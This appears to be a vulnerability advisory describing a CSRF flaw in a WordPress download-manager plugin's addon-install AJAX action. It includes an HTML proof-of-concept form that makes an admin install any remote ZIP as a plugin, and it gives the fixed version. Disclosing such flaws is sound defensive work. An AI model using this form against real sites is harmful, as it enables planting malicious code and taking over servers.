Plugin implements the AJAX action
wpdm-install-addon which calls the function
wpdm_install_addon. This function doesn’t take any anti-CSRF measures thus making it susceptible to those kind of attacks.
What is interesting about this function though, is the fact that it provides plugin installation functionality for admin users. The origin of the package is defined by the
$_REQUEST['addon'] if is set without any validation.
A malicious actor can exploit this to install a malicious plugin in the vulnerable site. In fact the install package doesn’t need to be a valid plugin, it could just contain malicious code. Because the package is extracted in the
/wp-content/plugins/ dir without changing it’s original folder structure, an attacker could leverage the CSRF to upload malicious code and execute the code on the infected server.
<form method="post" action="http://vuln.dev/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpdm-install-addon">
<label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip
<input type="text" name="addon" value="https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip">
<button type="submit" value="Submit">Submit</button>
Update to version 2.9.61.